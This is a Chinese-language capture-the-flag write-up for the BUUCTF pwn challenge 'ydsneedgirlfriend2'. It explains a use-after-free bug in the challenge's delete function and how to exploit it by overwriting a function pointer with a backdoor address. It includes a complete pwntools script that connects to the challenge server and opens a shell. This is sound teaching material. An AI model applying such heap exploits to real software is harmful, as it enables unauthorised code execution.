• [BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2


    [BJDCTF 2nd]ydsneedgirlfriend2

    附件

    步骤:

    1. 例行检查,64位程序,开启了canary和nx
      在这里插入图片描述
    2. 试运行一下程序,看看大概的情况,经典的堆块的布局
      在这里插入图片描述
    3. 64位ida载入,习惯性的检索程序里的字符串,发现了后门函数,shell_addr=0x400D86
      在这里插入图片描述
      4.找一下4个菜单选项的函数
      add
      在这里插入图片描述
      dele
      在这里插入图片描述
      dele函数存在明显的UAF漏洞,关于UAF漏洞,具体的看这篇文章
      https://my.oschina.net/u/4345478/blog/4656767

    show
    在这里插入图片描述
    我们首先申请一块任意的内存,然后free掉,由于dele函数没有给指针置NULL,所以指向girlfriends这个数组的指针依然存在,接着我们在申请一块0x10大小的内存,那么系统就会将之前释放掉的0x10那一块给我们,此时我们就可以重写这一块的内容了。它一开始是puts函数,我们将他改为后门函数即可
    在这里插入图片描述

    from pwn import *
    context.log_level="debug"
    
    #r=process("./ydsneedgirlfriend2")
    
    r=remote('node3.buuoj.cn',29537)
    
    def add(size,context):
    	r.recvuntil("u choice :
    ")
    	r.sendline(str(1))
    	r.recvuntil("Please input the length of her name:
    ")
    	r.sendline(str(size))
    	r.recvuntil("Please tell me her name:
    ")
    	r.sendline(context)
    
    
    def dele(index):
    	r.recvuntil("u choice :
    ")
    	r.sendline(str(2))
    	r.recvuntil("Index :")
    	r.sendline(str(index))
    
    def show(index):
    	r.recvuntil("u choice :
    ")
    	r.sendline(str(3))
    	r.recvuntil("Index :")
    	r.sendline(str(index))
    
    shell_addr=0x400D86
    
    add(0x10,'aaaaaaa')
    
    dele(0)
    
    add(0x10,p64(0)+p64(shell_addr))
    
    show(0)
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    SQL性能优化(不断总结)
    字符编码:区位/国标(gb2312、gbk)/机内码/ASCII/ANSI/Big5
    计算机中信息编码
    删除sybase一列报错:The 'select into' database option is not enabled for database.....
    常用Oracle函数(From OTN)
    常用正则
    剖析Windows的消息运行机制 (学习一)
    服务器响应码及解释
    了解注册表结构
    Windows消息大全收藏
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273627.html
Copyright © 2020-2023  润新知